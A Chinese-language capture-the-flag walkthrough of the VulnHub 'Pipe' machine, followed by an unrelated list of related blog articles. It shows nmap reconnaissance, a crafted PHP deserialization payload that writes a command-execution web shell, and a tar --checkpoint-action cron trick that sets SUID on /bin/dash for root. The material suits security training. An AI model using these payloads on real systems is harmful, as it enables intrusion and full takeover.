1) 下载镜像,虚拟机启动

https://download.vulnhub.com/devrandom/pipe.ova

2) nmap 扫描探测

Nmap 扫描开路:

╰─ nmap -Pn -sV -p- 10.10.202.0/24

Nmap scan report for 10.10.202.247

Host is up (0.0068s latency).

Not shown: 65531 filtered ports

PORT      STATE SERVICE VERSION

22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)

80/tcp    open  http    Apache httpd

111/tcp   open  rpcbind 2-4 (RPC #100000)

34083/tcp open  status  1 (RPC #100024)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 120.49 seconds

3)分别使用nmap 对应的脚本服务进行深层次的扫描

╰─ sudo nmap -Pn -p 111 --reason 10.10.202.247 --script rpcinfo

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:22 CST

Nmap scan report for 10.10.202.247

Host is up, received arp-response (0.00059s latency).

PORT    STATE SERVICE REASON

111/tcp open  rpcbind syn-ack ttl 64

| rpcinfo:

|   program version   port/proto  service

|   100000  2,3,4        111/tcp  rpcbind

|   100000  2,3,4        111/udp  rpcbind

|   100024  1          34083/tcp  status

|_  100024  1          55538/udp  status

MAC Address: 00:0C:29:B8:DE:3D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

─ sudo nmap -Pn -p 22 --reason 10.10.202.247 --script ssh-hostkey

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:24 CST

Nmap scan report for 10.10.202.247

Host is up, received arp-response (0.00027s latency).

PORT   STATE SERVICE REASON

22/tcp open  ssh     syn-ack ttl 64

| ssh-hostkey:

|   1024 16:48:50:89:e7:c9:1f:90:ff:15:d8:3e:ce:ea:53:8f (DSA)

|   2048 ca:f9:85:be:d7:36:47:51:4f:e6:27:84:72:eb:e8:18 (RSA)

|   256 d8:47:a0:87:84:b2:eb:f5:be:fc:1c:f1:c9:7f:e3:52 (ECDSA)

|_  256 7b:00:f7:dc:31:24:18:cf:e4:0a:ec:7a:32:d9:f6:a2 (ED25519)

MAC Address: 00:0C:29:B8:DE:3D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

╰─ sudo nmap -Pn -p 80 --reason 10.10.202.247 --script http-auth

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:25 CST

Nmap scan report for 10.10.202.247

Host is up, received arp-response (0.00026s latency).

PORT   STATE SERVICE REASON

80/tcp open  http    syn-ack ttl 64

| http-auth:

| HTTP/1.1 401 Unauthorized\x0D

|_  Basic realm=index.php

MAC Address: 00:0C:29:B8:DE:3D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds

4)分析访问web的80端口

http://10.10.202.247/index.php

burpsuit 来开道,备注,设置显示 Unhide  from fields

抓包修改http get 方式为post

param=O%3A4%3A%22Info%22%3A4%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A9%3A%22firstname%22%3Bs%3A4%3A%22Rene%22%3Bs%3A7%3A%22surname%22%3Bs%3A8%3A%22Margitte%22%3Bs%3A7%3A%22artwork%22%3Bs%3A23%3A%22The+Treachery+of+Images%22%3B%7D

url dencode 解码为json格式的数据

O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}

通过分析返回的数据,存在相关文件和目录 scriptz/php.js 的文件

function serialize(mixed_value) {

//  discuss at: http://phpjs.org/functions/serialize/

// original by: Arpad Ray (mailto:arpad@php.net)

// improved by: Dino

// improved by: Le Torbi (http://www.letorbi.de/)

// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)

// bugfixed by: Andrej Pavlovic

// bugfixed by: Garagoth

// bugfixed by: Russell Walker (http://www.nbill.co.uk/)

// bugfixed by: Jamie Beck (http://www.terabit.ca/)

// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)

// bugfixed by: Ben (http://benblume.co.uk/)

//    input by: DtTvB (http://dt.in.th/2008-09-16.string-length-in-bytes.html)

//    input by: Martin (http://www.erlenwiese.de/)

//        note: We feel the main purpose of this function should be to ease the transport of data between php & js

//        note: Aiming for PHP-compatibility, we have to translate objects to arrays

//   example 1: serialize(['Kevin', 'van', 'Zonneveld']);

//   returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'

//   example 2: serialize({firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'});

//   returns 2: 'a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}'

分析可知,通过json构造脚本,生成木马文件

元数据:

O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}

构造数据

O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:60:"<?php echo '<pre>'; system($_GET['cmd']); echo '</pre>'; ?>";}

Encode

O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22%2Fvar%2Fwww%2Fhtml%2Fscriptz%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A60%3A%22%0A%3C%3Fphp%20echo%20%27%3Cpre%3E%27%3B%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20echo%20%27%3C%2Fpre%3E%27%3B%20%3F%3E%22%3B%7D

5)反弹shell

6)进行提权操作

先切换到bash shell

python -c 'import pty;pty.spawn("/bin/bash")'

使用crontab进行提权

当用户执行tar二进制文件时,可以滥用Tar的--checkpoint-action参数来执行任意代码。 --checkpoint-action作为tar功能存在,允许在达到前缀为--checkpoint-action = exec = COMMAND-HERE的文件时二进制执行命令

$ pwd
/var/www/html/scriptz
$ cd /home/rene/backup
$ pwd
/home/rene/backup

$ echo >
--checkpoint=1;
$ echo > --checkpoint-action=exec=sh\ shell.sh;
$ echo 'chmod u+s /bin/dash' > shell.sh
$ chmod +x shell.sh

等待计划任务下一次执行,就可以获取root权限

提权方式2,可以通过内核提权,这里好像会导致系统崩溃!!!

Hacking /dev/random: Pipe的更多相关文章

  1. /dev/random 和 /dev/urandom的一点备忘

    1.  基本介绍 /dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流.很多解密程序与安全应用程序(如SSH Keys, ...

  2. Linux中的随机数文件 /dev/random /dev/urandom

    Linux中的随机数可以从两个特殊的文件中产生,一个是/dev/urandom.另外一个是/dev/random.他们产生随机数的原理是利用当前系统的熵池来计算出固定一定数量的随机比特,然后将这些比特 ...

  3. /dev/random和/dev/urandom的一点备忘

    1.  基本介绍 /dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流.很多解密程序与安全应用程序(如SSH Keys, ...

  4. docker+tomcat 启动时非常慢原因之JRE /dev/random阻塞

    docker+tomcat 启动时非常慢,一般正常启动几十秒的,发现docker+tomcat启动竟需要几分钟,不可思议 根本原因是 SecureRandom 这个 jre 的工具类的问题.那为什么 ...

  5. hostapd、/dev/random、/dev/urandom

    在使用hostapd做软ap时,出现了random熵不够的问题,导致节点连接不上这个ap. 下面先解释一下/dev/random和/dev/urandom 先让我们从一个工程中遇到的实际问题开始,先上 ...

  6. 【linux】/dev/null作用和/dev/random

    一.  /dev/null /dev/null属于字符特殊文件,它属于空设备,是一个特殊的设备文件,它会丢弃一切写入其中的数据,写入它的内容都会永远丢失,而且没有任何可以读取的内容. 我们用file命 ...

  7. Linux系统产生随机数/dev/random 和 /dev/urandom

    1.  基本介绍 /dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流.很多解密程序与安全应用程序(如SSH Keys, ...

  8. centos 阶段复习 2015-4-6 dd命令 hosts.allow和hosts.deny 啊铭的myssh脚本 清空history命令历史 /dev/zero 零发生器 /dev/null 黑洞 /dev/random 生成随机数 第十一节课

    centos 阶段复习 2015-4-6  dd命令 hosts.allow和hosts.deny 啊铭的myssh脚本 清空history命令历史  /dev/zero 零发生器  /dev/nul ...

  9. tomcat 启动慢解决(/dev/random)

    JRE默认使用 /dev/random作为随机数来源,当熵池大小不够的时候,random会很慢,造成随机数生成调用阻塞. 解决方案: 改用 /dev/urandom (1) tomcat的启动选项增加 ...

随机推荐

  1. QEMU KVM Libvirt手册(7): 硬件虚拟化

    在openstack中,如果我们启动一个虚拟机,我们会看到非常复杂的参数 qemu-system-x86_64 -enable-kvm -name instance-00000024 -S -mach ...

  2. [Swift]LeetCode87. 扰乱字符串 | Scramble String

    Given a string s1, we may represent it as a binary tree by partitioning it to two non-empty substrin ...

  3. [SQL]LeetCode196. 删除重复的电子邮箱 | Delete Duplicate Emails

    Write a SQL query to delete all duplicate email entries in a table named Person, keeping only unique ...

  4. [Swift]LeetCode566. 重塑矩阵 | Reshape the Matrix

    In MATLAB, there is a very useful function called 'reshape', which can reshape a matrix into a new o ...

  5. [Swift]LeetCode704. 二分查找 | Binary Search

    Given a sorted (in ascending order) integer array nums of nelements and a target value, write a func ...

  6. [Swift]LeetCode817. 链表组件 | Linked List Components

    We are given head, the head node of a linked list containing unique integer values. We are also give ...

  7. Spring之AOP流程解析(ProxyFactory)

    本节我们从ProxyFactory开始分析.该类有几个比较重要的方法——addAdvice.addAdvisor.getProxy,其中最后一个方法是我们本节的重点.前两个方法都是向ProxyFact ...

  8. 论JVM爆炸的几种姿势及自救方法,你不得不知!

    前言 如今不管是在面试还是在我们的工作中,OOM总是不断的出现在我们的视野中,所以我们有必要去了解一下导致OOM的原因以及一些基本的调整方法,大家可以通过下面的事例来了解一下什么样的代码会导致OOM, ...

  9. Android-线程池下载多个图片并保存,如果本地有该图,则不下载,直接展示到view

    做了个工具方法,用来下载图片,如果本地有这个图,则不下载,直接展示到view setHP()方法可以多次使用,因为使用了线程池,所以是个异步操作,如果使用的多,建议根据需要增加线程池的线程数量 看代码 ...

  10. Docker系列教程02-MongoDB默认开启鉴权

    说明,我这里使用的是compose的版本的1.17.0格式是3,但是这和compose版本无关,你只需要添加MONGO_INITDB_ROOT_USERNAME和MONGO_INITDB_ROOT_P ...